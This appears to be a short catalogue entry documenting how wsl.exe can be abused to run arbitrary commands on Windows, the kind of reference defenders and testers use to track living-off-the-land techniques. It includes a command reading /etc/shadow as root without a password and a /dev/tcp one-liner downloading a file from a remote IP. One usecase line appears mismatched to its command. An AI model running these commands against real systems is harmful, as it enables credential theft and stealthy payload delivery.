Windows subsystem for Linux executable
wsl.exe -e /mnt/c/Windows/System32/calc.exe
Usecase: Performs execution of specified file, can be used to execute arbitrary Linux commands.
wsl.exe -u root -e cat /etc/shadow
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
wsl.exe --exec bash -c 'cat file'
Usecase: Performs execution of arbitrary Linux commands.
wsl.exe --system calc.exe
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Usecase: Download file